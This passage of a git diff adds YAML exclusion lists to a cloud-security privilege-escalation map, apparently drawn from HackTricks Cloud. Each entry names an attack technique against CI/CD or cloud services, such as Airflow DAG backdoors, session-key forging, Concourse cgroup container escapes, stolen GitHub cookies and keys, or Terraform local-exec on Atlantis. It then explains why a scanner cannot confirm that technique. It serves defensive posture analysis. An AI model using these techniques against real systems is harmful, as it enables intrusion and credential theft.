src/pentesting-ci-cd/travisci-security/basic-travisci-information.md#custom-encrypted-files + technique: Encrypted file can be decrypted with build-injected key and IV + reason: The .enc file and injected key/IV are necessary, but only the decrypted file contents can establish + a credential and target identity. + +# Vercel source exclusions; reviewed in pa-k8s-other-s08.yaml. +- source: src/pentesting-ci-cd/vercel-security.md#domains + technique: Map a production domain to a different environment that exposes secrets or functions + reason: Changing a domain environment alone does not grant credentials; the served application content, protected + function authorization, and actual secret disclosure must be inspected. +- source: src/pentesting-ci-cd/vercel-security.md#environments + technique: Share production secrets with lower-trust development or preview environment + reason: Variable sharing is a configuration fact, but the lower-trust environment must execute code or expose + the value and the value must contain a usable credential; those runtime and content facts are needed. +- source: src/pentesting-ci-cd/vercel-security.md#environment-variables + technique: NEXT_PUBLIC_ team variable exposes credential to every linked project client + reason: NEXT_PUBLIC_ can put a value in client code, but the deployed bundle must actually contain that value + and it must be a usable credential; require bundle and secret-content inspection. +- source: src/pentesting-ci-cd/vercel-security.md#environment-variables + technique: Non-sensitive team variable is readable to members with sufficient environment access + reason: A non-sensitive variable may be readable under team access, but a principal edge requires the variable + value to be a usable credential and its represented identity to be identified. +- source: src/pentesting-ci-cd/vercel-security.md#deployment-protection + technique: Bypass deployment protection through public bypass secret, share link, weak password, exception, + or broad allowlist + reason: A bypassed deployment gives application access; privilege gain requires a protected endpoint or response + that yields credentials or a stronger application identity, which needs application runtime/content inspection. +- source: src/pentesting-ci-cd/vercel-security.md#security + technique: Public build logs or source paths can reveal secrets if logs/source contain them + reason: Public build logs or source paths only yield a principal edge if the exposed artifact contains a + usable credential; the particular log/source content and represented identity are needed. +- source: src/pentesting-ci-cd/vercel-security.md#advanced + technique: Directory listing exposes files that could contain credentials + reason: Directory listing exposes files only if enabled and the directory is reachable; a principal edge + further requires a listed file containing a usable credential and identification of its target identity. +- source: src/pentesting-ci-cd/vercel-security.md#source + technique: Read complete deployment source to find embedded credentials + reason: Source readability alone is not privilege escalation; the deployment source must contain a usable + credential and its target principal must be identified. +- source: src/pentesting-ci-cd/vercel-security.md#log-drains + technique: Configure external Log Drain to receive logs containing secrets + reason: A Log Drain receives logs, but a credential edge requires a log record containing a usable credential + and its represented principal; inspect runtime log content. +- source: src/pentesting-ci-cd/vercel-security.md#security--privacy + technique: Sensitive environment variable policy disabled permits readable team variables + reason: Disabling sensitive-variable enforcement does not itself expose credentials; a specific non-sensitive + variable, readable to the source, must contain a usable credential. +- source: src/pentesting-ci-cd/vercel-security.md#environment-variables-1 + technique: Team NEXT_PUBLIC_ variables leak application credentials to public clients + reason: The team-level NEXT_PUBLIC_ case is the same exposure mechanism as the project section, but a deployed + bundle and credential-bearing value are needed for a principal edge. +- source: src/pentesting-ci-cd/vercel-security.md#environment-variables-1 + technique: Non-sensitive team variable values can be read by members + reason: Reading a non-sensitive team variable is only an escalation if its value is a usable credential of + a stronger principal; the value and target identity are needed. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_crossprovider_s05.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_crossprovider_s05.yaml new file mode 100644 index 0000000000..a81dbe1a72 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_crossprovider_s05.yaml @@ -0,0 +1,173 @@ +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-databases.md#enumeration + technique: Read managed-database user passwords and connection credentials + reason: The database user-list and connection commands can return passwords, but a DigitalOcean principal, effective + API rights, selected cluster/user, live password and database trusted-source reachability are absent from the + snapshot. Credential contents and database roles must be verified before a database-user edge. + +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-droplets.md#rce + technique: Reset a Droplet root password and enter its recovery console + reason: Password reset sends the temporary root password to the account email, and Recovery Console requires that + password. DigitalOcean action authority does not prove mailbox possession, successful reset or a working local + root login; these runtime and mailbox facts must be joined. + +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-droplets.md#rce + technique: Open a Droplet web console as its guest account + reason: Web Console access is a distinct Droplet guest shell, but the snapshot has no DigitalOcean control-panel + authorization, agent/SSH state, public address, network rules or resulting guest account. A console button alone + does not establish the shell identity. + +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-droplets.md#basic-information + technique: Restore or clone a Droplet disk image and read saved secrets + reason: A backup or snapshot is a disk image, not a known credential. The selected image, ability to create a + controlled clone or restore, readable filesystem, saved secret bytes and credential validity are uncollected. + +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-droplets.md#enumeration + technique: Read sensitive Droplet user data through metadata from a workload SSRF + reason: Droplet metadata may expose user data but has no instance-role credential endpoint. This path requires + a reachable SSRF or local workload access, actual secret bytes in user data and a validated target principal; + metadata availability alone proves no identity edge. + +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-functions.md#triggers + technique: Extract a namespace API access key from doctl connection traffic + reason: doctl trace may expose a Functions namespace key, but the snapshot lacks DigitalOcean namespace authorization, + trace output, key validity and a comparison between the key rights and the source rights. A key with only equivalent + rights is not escalation. + +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-volumes.md#basic-information + technique: Attach or move a volume to a controlled Droplet and read stored credentials + reason: Volume attach can expose disk bytes, but the snapshot lacks DigitalOcean attach/detach rights, compatible + controlled Droplet, encryption state, credential contents and validity. Attachment alone is not a credential + gain. + +- source: src/pentesting-cloud/confidential-computing/luks2-header-malleability-null-cipher-abuse.md#exploitation-storage-write-access-required + technique: Change a CVM LUKS2 segment to a null cipher and expose later plaintext data + reason: Changing the LUKS2 segment requires block-device/header write and a guest that trusts the modified header; + identity gain additionally requires later plaintext credential writes, storage read and a valid credential. + None of these block/guest/content facts is in a cloud IAM or Kubernetes RBAC snapshot. + +- source: src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md#logical-components + technique: Launch an AWX job template with attached credentials against inventory hosts + reason: Execute on an AWX job template uses its linked credential for a fixed playbook, but the snapshot has no + AWX RBAC, template/playbook/inventory/credential join or proof the template exposes attacker-controlled actions. + A launch alone does not prove arbitrary host identity gain. + +- source: src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md#supported-roles + technique: Use Inventory Ad Hoc privilege to execute commands with assigned credentials + reason: AWX Inventory Ad Hoc can run commands with a selected machine credential, but AWX inventory RBAC, enabled + ad hoc execution, credential assignment, target host and credential validity are not collected. + +- source: src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md#supported-roles + technique: Use Credential Use plus template control to run an attacker playbook with a protected credential + reason: AWX Credential Use is not secret read. Escalation requires effective template creation/admin and execute + rights, a controllable project playbook, inventory association and a stronger usable credential; these AWX relationships + are absent. + +- source: src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md#supported-roles + technique: Modify an AWX project SCM source then execute its playbook through an authorized template + reason: Project SCM modification reaches host credentials only if an executable job template uses the modified + project and can be launched. AWX project/template/inventory/credential joins and SCM write rights are uncollected. + +- source: src/pentesting-ci-cd/apache-airflow-security/README.md#web-console-enumeration + technique: Read Airflow Connections or Variables containing credentials + reason: Airflow Connections and Variables may contain credentials, but UI read access, actual secret values, target + principal and credential validity are absent. A visible variable or connection name is insufficient. + +- source: src/pentesting-ci-cd/apache-airflow-security/README.md#retrieve-variables-values + technique: Export or retrieve a masked Airflow Variable secret + reason: Masked Variable export is version and permission dependent; current releases restrict sensitive export. + The selected value must contain a reusable credential and its target principal must be resolved, none of which + is collected. + +- source: src/pentesting-ci-cd/apache-airflow-security/README.md#privilege-escalation + technique: Forge an Airflow Admin session with exposed Flask secret_key + reason: Forging an Airflow Admin session requires the effective Flask secret_key, a compatible signed-cookie session + backend, a valid target user ID and network access to the webserver. Airflow runtime configuration and secret + bytes are uncollected. + +- source: src/pentesting-ci-cd/apache-airflow-security/README.md#dag-backdoor-rce-in-airflow-worker + technique: Write a DAG that executes on an Airflow worker + reason: DAG-folder write can run code as an Airflow worker, but self-hosted Airflow DAG storage, worker identity, + schedule/trigger and file synchronization are uncollected. AWS MWAA and GCP Composer bucket-write entries cover + only their specific cloud permissions and environments. + +- source: src/pentesting-ci-cd/apache-airflow-security/README.md#dag-backdoor-rce-in-airflow-scheduler + technique: Place top-level code in a DAG parsed by scheduler + reason: Top-level DAG code may run as the scheduler on parse, but the scheduler must ingest the writable DAG file. + DAG path, parser behavior, scheduler identity and shared-storage topology are absent. + +- source: src/pentesting-ci-cd/apache-airflow-security/README.md#dag-creation + technique: Create DAGs on one cluster machine that replicate to other Airflow machines + reason: Writing the DAG folder on one machine may replicate code to other Airflow machines, but replication configuration, + receiving hosts and their identities are runtime topology facts not in the snapshot. This is a variant of DAG-folder + write, not a guaranteed new machine identity. + +- source: src/pentesting-ci-cd/apache-airflow-security/README.md#dag-code-injection + technique: Pass malicious DAG run parameters to a vulnerable DAG command + reason: A DAG run parameter becomes code execution only if a particular DAG places it unsafely into a command. + The DAG source, parameter use, run permission and worker identity require application-level collection. + +- source: src/pentesting-ci-cd/apache-airflow-security/README.md#dag-code-injection + technique: Edit an Airflow Variable consumed unsafely by a DAG command + reason: Variable edit becomes code execution only if a particular DAG reads that variable into an unsafe command. + The variable-to-DAG dataflow, edit permission, execution timing and worker identity are uncollected. + +- source: src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md#configuration-file + technique: Read Airflow configuration secrets through console or host access + reason: airflow.cfg can contain stale values overridden by environment variables. The effective running secret, + file or UI read access, target identity and credential validity must be collected; config-file existence proves + no gain. + +- source: src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md#web-authentication + technique: Gain anonymous Airflow Admin via AUTH_ROLE_PUBLIC configuration + reason: AUTH_ROLE_PUBLIC=Admin could grant anonymous Airflow Admin access, but effective webserver_config.py, + deployment reachability and FAB authentication state are not in the snapshot. A file value alone may be overridden. + +- source: src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md#rbac + technique: Read configuration as an Airflow Op on affected releases and recover signing secret + reason: On affected Airflow versions Op can read effective configuration, which may expose secret_key and permit + cookie forgery. Version, effective config, signing key, session backend and a target user are uncollected. + +- source: src/pentesting-ci-cd/atlantis-security.md#provider-credentials + technique: Read Atlantis host provider credentials after obtaining host or container access + reason: Atlantis can carry cloud or VCS credentials on its host, but a host/container read path, credential delivery + method, actual bytes, validity and target principal are uncollected. Merely hosting Atlantis does not prove + credential access. + +- source: src/pentesting-ci-cd/atlantis-security.md#repos-configuration + technique: Poison a repository-local script executed by an Atlantis server-side hook + reason: Server-side hooks run repository-local scripts only when a configured hook names such a path from the + PR checkout. Atlantis hook command, SCM write rights, trigger path and runner identity are uncollected. + +- source: src/pentesting-ci-cd/atlantis-security.md#repos-configuration + technique: Define malicious custom workflow commands in atlantis.yml + reason: atlantis.yml custom commands execute only when server-side allow_custom_workflows and any workflow override + policy permit them. Repository write, PR workflow trigger and runner credentials require Atlantis and SCM facts + absent from the snapshot. + +- source: src/pentesting-ci-cd/atlantis-security.md#atlantis-plan-rce---config-modification-in-new-pr + technique: Execute Terraform external data source or malicious provider during Atlantis plan + reason: Plan-time code execution requires write to the Terraform configuration of an allowed repo and a plan of + the attacker PR. Atlantis repo allowlist, plan trigger, Terraform content and runner identity are uncollected. + +- source: src/pentesting-ci-cd/atlantis-security.md#atlantis-plan-secrets-dump + technique: Expose Terraform secret variables through nonsensitive plan output or state + reason: nonsensitive output exposes a credential only if a Terraform variable contains one and the attacker can + see the resulting plan or state. Variable contents, output visibility, state access and credential validity + are uncollected. + +- source: src/pentesting-ci-cd/atlantis-security.md#atlantis-apply-rce---config-modification-in-new-pr + technique: Execute local-exec on Atlantis during apply + reason: local-exec runs only on a successful apply of malicious Terraform, after any mergeability and approval + gates. SCM branch rights, Atlantis apply authorization, gate state, runner identity and credential access are + uncollected. + +- source: src/pentesting-ci-cd/atlantis-security.md#pr-hijacking + technique: Trigger another user PR or push malicious config after approval to obtain Atlantis execution + reason: A comment can rerun an existing plan, but attacker code execution additionally needs branch write, stale-approval + behavior or another passing gate, and an apply or plan path that executes it. These VCS and Atlantis facts are + uncollected. + +- source: src/pentesting-ci-cd/atlantis-security.md#post-exploitation + technique: Read VCS tokens, Terraform state or process credentials from Atlantis files + reason: Atlantis data-dir, .git-credentials, state and process environment can contain reusable credentials, but + path configuration, host/LFI read access, actual bytes, validity and target principal are absent from the snapshot. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_crossprovider_s06.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_crossprovider_s06.yaml new file mode 100644 index 0000000000..7ce924bb59 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_crossprovider_s06.yaml @@ -0,0 +1,187 @@ +# Cross-provider CI/CD techniques outside the four-provider evaluator. +- source: src/pentesting-ci-cd/chef-automate-security/chef-automate-enumeration-and-attacks.md#auth-data-collector-token-x-data-collector-token + technique: Known default data collector token grants protected Compliance API access + reason: Requires live acceptance of the retained default token; no IAM snapshot proves that fact. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/chef-automate-security/chef-automate-enumeration-and-attacks.md#compliance-api-sql-injection-cve-2025-8868 + technique: CVE-2025-8868 filters[].type SQL injection obtains database data or write capability + reason: Requires a vulnerable running version, reachable authenticated endpoint, exploitable input, and database + grants. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/circleci-security.md#circleci-mcp-server-hostorigin-bypass-to-pipeline-rce + technique: Unauthenticated CircleCI MCP run_pipeline under delegated organization token + reason: Requires a reachable vulnerable MCP deployment, shared-token settings, and a live request path. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/circleci-security.md#search-clear-text-secrets + technique: Read plaintext secrets in repository CircleCI configuration + reason: Requires repository contents to contain a valid usable secret; repository read alone proves none. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/circleci-security.md#escape-to-cloud + technique: Self-hosted CircleCI runner exposes host cloud metadata identity + reason: Requires an actual self-hosted runner placement and reachable metadata service with stronger attached + identity. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/circleci-security.md#persistence + technique: Change a secret to inject a command in a trusting CircleCI job + reason: Requires a particular secret to be interpolated unsafely by a later job; secret edit alone proves no execution. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/cloudflare-security/README.md#pages + technique: Read Cloudflare Pages build logs, repo, or environment variables for credentials + reason: Requires an actual credential value in logs, repository contents, or readable variables. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/cloudflare-security/README.md#workers + technique: Exploit Worker input SSRF into bound R2/internal service + reason: Requires vulnerable Worker code and reachable internal service; a binding alone does not prove SSRF. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/cloudflare-security/README.md#notifications + technique: Read notification webhook URL containing embedded basic auth + reason: Requires a stored basic-auth credential in a notification URL and visibility of its value. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md#automating-deployment-and-rotation-with-flareprox + technique: Cloudflare Worker proxy can bypass IP-based access restriction + reason: Requires the target to use an IP allowlist admitting Cloudflare egress and a Worker proxy able to reach + it. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md#concourse-enumeration + technique: Steal Concourse fly API token from .flyrc on a compromised host + reason: Requires a readable live .flyrc token on a compromised host; CI configuration cannot prove token possession. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md#pipelines + technique: Read plaintext credentials in Concourse pipeline definitions + reason: Requires a plaintext usable secret in a pipeline definition, not simply permission to read the definition. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md#credentials-brute-force + technique: Authenticate using default Concourse admin:test/test:test credentials + reason: Requires default credentials to remain accepted by the running Concourse service. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md#session-inside-running-or-recently-run-container + technique: Intercepted Concourse job obtains cloud metadata credentials + reason: Requires the intercepted job container to reach metadata and its host to carry a stronger identity. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md#escaping-to-the-node-from-privileged-task + technique: Privileged Concourse task uses cgroup v1 release_agent for node code execution + reason: Requires cgroup v1 release_agent, suitable capabilities and writable cgroup mount in the worker runtime. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md#escaping-to-the-node-from-a-worker-container + technique: Compromised Concourse Worker container escapes via cgroup release_agent + reason: Requires a compromised worker container plus cgroup v1 and host isolation weakness. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md#escaping-to-the-node-from-the-web-container + technique: Read local Concourse users and PostgreSQL credentials in web container + reason: Requires actual web-container file access and valid local/DB credentials at runtime. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md#escaping-to-the-node-from-the-web-container + technique: Edit Concourse database teams using stolen PostgreSQL password + reason: Requires a stolen valid PostgreSQL password and live database authorization; no cloud permission edge + establishes it. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/docker-build-context-abuse.md#poc-path-traversal-via-docker-build-context + technique: Builder context path traversal includes host home credentials in image + reason: Requires the builder to accept traversal, include host files, and publish an image readable to the actor. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/docker-build-context-abuse.md#cloud-pivot-with-overprivileged-tokens-example-flyio-machines-api + technique: Stolen Fly registry token calls Machines API for org-wide exec + reason: Requires an already stolen Fly token whose live scope includes Machines API; registry scope does not imply + it. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/docker-build-context-abuse.md#secret-theft-from-compromised-hosted-services + technique: Machine exec harvests client-supplied inbound API keys + reason: Requires live requests carrying usable client keys after host execution. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md#summary + technique: CVE-2024-28080 SSH public-key probe plus password fallback impersonates Gitblit user + reason: Requires vulnerable Gitblit 1.9.3, matching public key and authentication fallback behavior. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/gitea-security/README.md#with-user-credentialsweb-cookie + technique: Stolen i_like_gitea session cookie impersonates account + reason: Requires possession of a live Gitea session cookie and successful authentication. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/gitea-security/README.md#with-user-ssh-key + technique: Stolen Gitea user/deploy private key accesses repositories + reason: Requires possession of the corresponding private SSH key; key registration alone proves no theft. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/gitea-security/README.md#enumerate-webhooks + technique: Read secret embedded in Gitea webhook URL + reason: Requires a credential embedded in the actual webhook URL and access to that value. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/gitea-security/README.md#inside-the-server + technique: Read Gitea app.ini, sessions, JWT key or DB then impersonate + reason: Requires host file/database access and valid session or signing material. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/gitea-security/README.md#inside-the-server + technique: Use Gitea admin CLI to change password or create admin + reason: Requires shell access to the Gitea server with admin CLI rights; no configured lower permission proves + it. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/github-security/README.md#github-dorks + technique: Public or accessible repository/history secret leak yields credential + reason: Requires a real, valid credential in repository content or history. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/github-security/README.md#github-leaks-in-deletedinternal-forks + technique: Recover secret from retained deleted/internal fork objects + reason: Requires deleted/internal fork objects still accessible and holding a usable credential. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/github-security/README.md#with-user-credentials + technique: Stolen GitHub user_session cookie impersonates account + reason: Requires possession of a live GitHub session cookie and any required second factor. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/github-security/README.md#with-user-ssh-key + technique: Stolen user or deploy SSH key accesses GitHub repo + reason: Requires possession of a user/deploy private key and the corresponding repo grant. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/github-security/README.md#impersonate-a-github-app-with-its-private-key-jwt--installation-access-tokens + technique: Leaked GitHub App PEM mints installation tokens across installations + reason: Requires actual possession of the GitHub App PEM and an installation with stronger grants. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/github-security/README.md#delimiter-injection-into-trusted-internal-metadata + technique: GHES push-option delimiter injection disables controls or executes hook + reason: Requires vulnerable GHES implementation and a reachable privileged hook or control mutation. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/README.md#accessing-secrets + technique: Workflow code dumps secrets context, env, temp scripts or worker memory + reason: Reading environment, temp scripts or memory is the extraction stage after job execution; whether new credentials + exist is a runtime content fact. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/README.md#github-docker-images-registry + technique: Read secret embedded in GHCR image layer + reason: Requires an image layer that actually contains a valid secret and permission to pull that layer. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/README.md#sensitive-info-in-github-actions-logs + technique: Read unmasked generated token or secret from Actions logs + reason: Requires log lines with an unmasked, still valid token; log read permission alone is insufficient. + source_revision: 0b36331 diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_main_reconciliation.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_main_reconciliation.yaml new file mode 100644 index 0000000000..18b6ade98c --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_main_reconciliation.yaml @@ -0,0 +1,23 @@ +# Main-only privilege paths reviewed and excluded from CSPM execution and UI. HackTricks Cloud source remains. +- id: azure-apim-tenant-git-deploy-managed-identity-token + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementservicetenantdeployaction--bulk-config-overwrite-via-built-in-git + technique: Deploy attacker policies through the APIM built-in Git configuration repository + reason: Microsoft retired the built-in API Management Git save/deploy feature after 15 March 2025, so + tenant deploy plus listSecrets no longer establishes a policy-install path. + disposition: invalid-or-retired +- id: azure-datafactory-dataplane-access-token + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#mint-a-factory-data-plane-access-token-with-factoriesgetdataplaneaccessaction + technique: Use a factory data-plane token to execute as one exact managed identity + reason: The target selector requires externally reviewed evidence of a usable data-plane token, a runnable + pipeline, successful run, and an obtained managed-identity token. The scanner cannot safely perform + these active steps from the management permission alone; synthetic positive/negative tests cover only + supplied proof. + disposition: manual-only +- id: azure-service-linker-read-connection-configuration-to-exfiltrate-the-backing-secret + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-service-connector-post-exploitation.md#read-connection-configuration-to-exfiltrate-the-backing-secret + technique: Read a Service Linker backing credential + reason: Service Connector configuration reads may disclose connection strings, but the target is modeled + as data-plane admin without a typed exact credential subject or authorization proof. The old reviewed + strict-principal-boundary exclusion classifies this as terminal secret disclosure, not a privilege-escalation + edge. + disposition: manual-only diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_pa_az_services_s01.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_pa_az_services_s01.yaml new file mode 100644 index 0000000000..f77dd35ab3 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_pa_az_services_s01.yaml @@ -0,0 +1,32 @@ +# Verified exclusion proposals from pa-az-services-s01.yaml. +- source: src/pentesting-cloud/azure-security/az-services/az-ai-foundry.md#monitoring--supply-chain + technique: Read Git or external-source PATs and alter a later ML pipeline or prompt flow + source_revision: 0b36331 + reason: A connection secret must actually be a live push-capable PAT for a specific repository; that repository must be + linked to a privileged pipeline or prompt flow, and a later run must execute the changed code. Neither repository authorization + nor repository-to-workload dependency and trigger are established by the workspace connection metadata. +- source: src/pentesting-cloud/azure-security/az-services/az-ai-foundry.md#data--secret-stores + technique: Recover a storage SAS/key or Search/OpenAI API key from an ML datastore or connection + source_revision: 0b36331 + reason: The returned secret content must establish credential type, validity, target service, and authorization beyond the + caller. The page lists several possible types; the existing azure-ml-connection-secrets entry already covers service-principal + secrets, while a SAS or API key does not identify a reusable Azure or Entra principal. A service-plane edge also needs + the specific backing resource and its local-auth/network state. +- source: src/pentesting-cloud/azure-security/az-services/az-api-management.md#named-values + technique: Read APIM Named Values containing arbitrary API keys or service secrets + source_revision: 0b36331 + reason: The Named Value must actually contain a live credential, and its content must identify a target service and effective + privileges. Key Vault references resolve through the APIM identity; the section alone does not prove the reader can use + the referenced secret. Service-principal credentials are already covered by azure-apim-named-value-secret. +- source: src/pentesting-cloud/azure-security/az-services/az-app-services.md#app-service-basic-information + technique: Read App Service settings or mount configuration containing a database or storage key + source_revision: 0b36331 + reason: The configuration must actually contain a valid database or storage credential, identify its backing service, and + grant access beyond the caller; the section only says these details may be exposed. Subsequent identity gain through data + poisoning additionally requires a consuming privileged workload and execution. +- source: src/pentesting-cloud/azure-security/az-services/az-arm-templates.md#search-sensitive-info + technique: Read deployment history or template containing a plaintext password, token, or secret + source_revision: 0b36331 + reason: The saved template must actually contain an unredacted live credential and identify a stronger principal or service + to which it authenticates. Deployment read permission and searching for password/secret/token/key strings do not establish + that content fact or a privilege gain. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_rbac.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_rbac.yaml index 9a79654fac..2a8c83b26c 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_rbac.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_rbac.yaml @@ -313,9 +313,9 @@ - source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#microsoftdatafactoryfactoriespipelinescreaterunaction technique: Run an existing pipeline reason: No attacker-controlled code; existing pipeline behaviour only. -- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#exchange-a-supplied-github-authorization-code-with-factoriesgetgithubaccesstokenaction - technique: Factory GitHub authorization-code exchange without reviewed use - reason: 'The Azure action requires a caller-supplied GitHub authorization code. A separate typed variant requires a verified returned token, exact GitHub subject and repository, prior denial, and newly allowed action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#steal-the-factorys-github-oauth-token-with-factoriesgetgithubaccesstokenaction + technique: Factory GitHub OAuth token theft + reason: 'The broad historical GitHub-token entry had no exact account or usable-repository proof. A separate typed variant now requires exact subject, repository, prior denial, and newly allowed action (dataset sink-replacement section moved to post-exploitation).' - source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-factory-post-exploitation.md#read-plaintext-parameters-from-pipeline-run-history source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db technique: Pipeline run parameter read diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_retired_apim_git.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_retired_apim_git.yaml deleted file mode 100644 index 1c83d3a2c7..0000000000 --- a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_retired_apim_git.yaml +++ /dev/null @@ -1,6 +0,0 @@ -# Reviewed retired feature; kept outside the active privilege-escalation map. -- id: azure-apim-tenant-git-deploy-managed-identity-token - source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementservicetenantdeployaction--bulk-config-overwrite-via-built-in-git - technique: Microsoft.ApiManagement/service/tenant/deploy/action with built-in Git configuration - reason: Microsoft retired APIM built-in Git configuration save and deploy on 15 March 2025. The listed permissions no longer establish a usable policy-deployment path. - reference: https://learn.microsoft.com/en-us/azure/api-management/breaking-changes/git-configuration-retirement-march-2025 diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_strict_principal_boundary.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_strict_principal_boundary.yaml index 1f6c27751e..98582c852a 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_strict_principal_boundary.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_strict_principal_boundary.yaml @@ -4,7 +4,7 @@ technique: Read AVS vCenter CloudAdmin and NSX-T admin credentials original_id: azure-avs-list-admin-credentials reason: 'The historical selector merged vCenter CloudAdmin and NSX-T admin into one private-cloud resource proxy. Narrow typed variants now require each exact subject, usable credential, and observed newly authorized action.' -- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vmware-solution-avs-privesc.md#run-command-identity-grants-without-reading-credentials-scriptexecutionswrite +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vmware-solution-avs-privesc.md#run-command-rce-without-reading-credentials-scriptexecutionswrite source_revision: 171e422 technique: AVS Run Command script execution original_id: azure-avs-run-command-script-execution diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_unauth_s07.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_unauth_s07.yaml new file mode 100644 index 0000000000..c5d2735738 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_unauth_s07.yaml @@ -0,0 +1,186 @@ +# Verified exclusion proposals from pa-az-post-persist-s07.yaml. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-blob-public-unauth.md#static-website-web-exposure--leaked-secrets + source_revision: 0b36331 + technique: Public static website $web exposes embedded secrets + reason: A public static-site setting and $web publicAccess:null do not identify any secret or owner. The exact served file + bytes, anonymous HTTP response, credential issuer and present validity are needed; a storage configuration snapshot cannot + establish that join. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-blob-public-unauth.md#anonymous-blob-listing-and-downloads + source_revision: 0b36331 + technique: Anonymous blob listing/download leads to stored credential discovery + reason: Container publicAccess permits anonymous read or listing, but whether a blob contains a usable credential and who + owns it depends on blob bytes and current issuer state. 